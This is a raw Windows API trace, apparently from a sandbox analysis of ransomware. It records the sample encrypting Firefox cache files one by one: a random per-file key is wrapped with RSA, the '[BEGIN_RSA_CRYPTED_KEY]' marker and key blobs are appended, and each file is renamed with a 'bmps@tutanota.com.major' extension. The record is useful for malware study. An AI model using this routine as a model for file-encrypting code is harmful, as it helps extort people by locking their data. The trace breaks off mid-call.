[0262.296] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.296] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.296] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.296] CloseHandle (hObject=0x1b84) returned 1 [0262.296] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\856994BF71BEE39831BB203883640C63D2A3EB13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\856994bf71bee39831bb203883640c63d2a3eb13"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\856994BF71BEE39831BB203883640C63D2A3EB13.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\856994bf71bee39831bb203883640c63d2a3eb13.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.298] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.299] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8527BE88ABE092F222F01F1FAA6BB09AA3C86E1C", dwFileAttributes=0x80) returned 1 [0262.299] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0xe2c, lpOverlapped=0x0) returned 1 [0262.321] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3628, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.321] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440668*, nNumberOfBytesToWrite=0xe2c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440668*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe2c, lpOverlapped=0x0) returned 1 [0262.322] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe2c [0262.322] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.322] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.323] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.323] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.323] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.323] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="K4gm8zHKA/dqQtSpJTptf3D3cGO6ftZZHCcxuyVrCKic7nIgIq7qYDC04NZQ/L9w\n2WvLRM9gGBKyRg0zqQh8aXptMoRVVMh+IyFpYShi3x5OEKxSvWsJr9IuPB3zISHy\nVQMhVhQgdPgMkeGsVn+5R++ZYtUDc1MH3dfw4yTlAM15U1WkgCLOyMhKqUsortwa\nno/8egq0IBbl63yrUsqmRXjklxUc5FEGmC6TY7xw/6N1seB13Q+2MGxRuGsBvU+a\n1GpCCAxlQp9kV5pMoP9rpzRWPp/BNbzfk5Z6dWXrmtyv/U4+B8lQK/w2C+ILxeIk\nIuzd1oY/wOfckgxt9DMzbw==\n", pcchString=0x2e3f9a8) returned 1 [0262.323] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.324] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.324] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.324] CloseHandle (hObject=0x1b84) returned 1 [0262.324] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8527BE88ABE092F222F01F1FAA6BB09AA3C86E1C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8527be88abe092f222f01f1faa6bb09aa3c86e1c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8527BE88ABE092F222F01F1FAA6BB09AA3C86E1C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8527be88abe092f222f01f1faa6bb09aa3c86e1c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.327] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.327] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8508C62554C6D8F07695E3BAE400B7D0F72355E7", dwFileAttributes=0x80) returned 1 [0262.328] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0x34fd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0x34fd, lpOverlapped=0x0) returned 1 [0262.329] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-13565, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.329] WriteFile (in: hFile=0x1b84, lpBuffer=0x3446048*, nNumberOfBytesToWrite=0x34fd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x34fd, lpOverlapped=0x0) returned 1 [0262.330] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x34fd [0262.330] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.330] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.331] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.331] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.331] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.332] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SjAh1wbGAMJqrFo6x7fGMeJPGlV/UaGQvVcdg5vIqhVuylpSJBa61tt+6vrmk2V7\nja3ctg2DF0pznX2LN/oNhDMMlpRPcQ0J1gOkIOqVdDVD4nXPCkuf9OPl3qgxuXU7\nhYjCB9WYEfjj0kjHYZ2Tfy/G24/hB/pL3ia/vBTYMMEg+zHg4q2q1f1CrjipxzuS\nAR41p+0pqfT9XXkSaBos07LeTUEIk+/kN3lbH+MiK7Axa4tw3XaE9r+KtU49csdr\nyxtL9VI2cI2X4tB3FRpEhAW6ECfYZQmR9IpjF+FbISK7gJV7shZKKDt++Ar8d/qA\nQDFReajXYz6HaJHGFuBwIQ==\n", pcchString=0x2e3f9a8) returned 1 [0262.332] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.332] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.332] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.332] CloseHandle (hObject=0x1b84) returned 1 [0262.333] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8508C62554C6D8F07695E3BAE400B7D0F72355E7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8508c62554c6d8f07695e3bae400b7d0f72355e7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8508C62554C6D8F07695E3BAE400B7D0F72355E7.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8508c62554c6d8f07695e3bae400b7d0f72355e7.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.335] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.335] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\84A8D3B867016ADCD99F88B46CBFAC7D26697682", dwFileAttributes=0x80) returned 1 [0262.336] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0262.473] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.473] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0262.474] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d2 [0262.474] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.474] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.474] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.474] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.475] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.475] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+LzCcR7Zwk+CqiALx062tm14uzyZ+gPiB3mAb5h9KCnDvEd3Hb/Yk1Le3xWPeW1a\nTzDfMdTVF8WGliCIkY7CGdCGu+sfFzJQhJGNNucvaT6JkJm2D8jDSjRX1mhYujah\n/caDhZQX4BKqFvP37sTI5Q82UNpt0pfGqluK141Zy5fFz5OyUG9ZR+51GrgCB1tO\nZXo/GtcimNxrIlGgVcK1IKlVrtMsdF/zcA5gIARPLrYMAAqB9vBXnXTLykQarspp\nyMtYPyH/YflGiR86oM4RZD2gSB+D8YK3+xZFi+Q7CzvpttYby4Ov4WunQKxYF6nX\nRY7D0fBDN8EvHaWEelwbkQ==\n", pcchString=0x2e3f9a8) returned 1 [0262.475] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.475] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.475] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.475] CloseHandle (hObject=0x1b84) returned 1 [0262.475] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\84A8D3B867016ADCD99F88B46CBFAC7D26697682" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\84a8d3b867016adcd99f88b46cbfac7d26697682"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\84A8D3B867016ADCD99F88B46CBFAC7D26697682.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\84a8d3b867016adcd99f88b46cbfac7d26697682.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.477] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.477] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\843D3BC96D3C0941B261A76B4201DD6AEE2FC6AF", dwFileAttributes=0x80) returned 1 [0262.477] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0262.533] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.533] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0262.534] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d2 [0262.534] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.534] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.534] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.534] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.535] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.535] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="JcyiwL1d3Cys7e8e0KaBxbraUUBa5/1/TuRkRMo1Lb4PPTv89pv31Xgyvx/L2dQ7\nBKMJWsPfmNjBygGWMJilgXLqkOh210JZpGXIM1nxR3c+XvC40b/dyFozJGs/LkeG\n9bzZDdiAi/rOuwZ5Pj6RInWs8wcgCP6YZolzyJi2JK2E/lMnh+pnlNSTo56vlXJc\n8e7F7E7q6lLn5AhkoyeGrw5DjenQboJY/CQ9CPHrhVsW28315f5AlqLuf9KDoF70\n0rqObeU77yAf3QvxG3LlkUn7HwrZSodd7orJgXUkZA3QCxDGbqZeURzhLNUKEmui\nX8POD53LHHHGUMg778WLGg==\n", pcchString=0x2e3f9a8) returned 1 [0262.535] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.535] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.535] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.535] CloseHandle (hObject=0x1b84) returned 1 [0262.535] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\843D3BC96D3C0941B261A76B4201DD6AEE2FC6AF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\843d3bc96d3c0941b261a76b4201dd6aee2fc6af"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\843D3BC96D3C0941B261A76B4201DD6AEE2FC6AF.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\843d3bc96d3c0941b261a76b4201dd6aee2fc6af.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.537] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.538] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\83D22A1C2D9AD3F12D54C38C877F76181ECE73B1", dwFileAttributes=0x80) returned 1 [0262.538] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0x141e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0x141e, lpOverlapped=0x0) returned 1 [0262.725] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.725] WriteFile (in: hFile=0x1b84, lpBuffer=0x343ec50*, nNumberOfBytesToWrite=0x141e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343ec50*, lpNumberOfBytesWritten=0x2e3f9b4*=0x141e, lpOverlapped=0x0) returned 1 [0262.726] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x141e [0262.726] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.726] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.727] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.727] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.727] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.727] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OtmUX/fMT3F8J8lhHwUwwKYm2uAFMb84SCLaYYB8f6FZyThuRY6Cbme1vCiWPHy5\nia6g5uPKRi1TQ0xWdahwEQQrJSfVJt3CJXX3P5JZjehxsSb/wXIoAKZKQqPOZh0E\n1XOnxCExQRCxDDGcxB/LvYT9Qz+IKkljfEzLNnZ6ckn3E/7LZMYJCaOT3rdY1dwH\nh0yyDRr9wsqve1n+1LKxmWw/X4vMVckJPlNTIH+7gRMyPByHx7qqBiZ96JMUHC/O\nNNiwHctuGSTxFYpLZJ6dMnWKh45XqyBLV5flNgdzkJ+uiAOjJYeeDDuR0Z8mzhH1\n+mygFiNtyCtSfoINEapMUg==\n", pcchString=0x2e3f9a8) returned 1 [0262.727] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.728] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.728] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.728] CloseHandle (hObject=0x1b84) returned 1 [0262.728] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\83D22A1C2D9AD3F12D54C38C877F76181ECE73B1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\83d22a1c2d9ad3f12d54c38c877f76181ece73b1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\83D22A1C2D9AD3F12D54C38C877F76181ECE73B1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\83d22a1c2d9ad3f12d54c38c877f76181ece73b1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.745] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.745] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\838A2699F7D6AC832EA18FEB8ED74064E9A1AF7A", dwFileAttributes=0x80) returned 1 [0262.745] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0xa3e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0xa3e, lpOverlapped=0x0) returned 1 [0262.802] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2622, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.802] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e270*, nNumberOfBytesToWrite=0xa3e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e270*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa3e, lpOverlapped=0x0) returned 1 [0262.803] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa3e [0262.803] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.803] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.803] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.803] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: 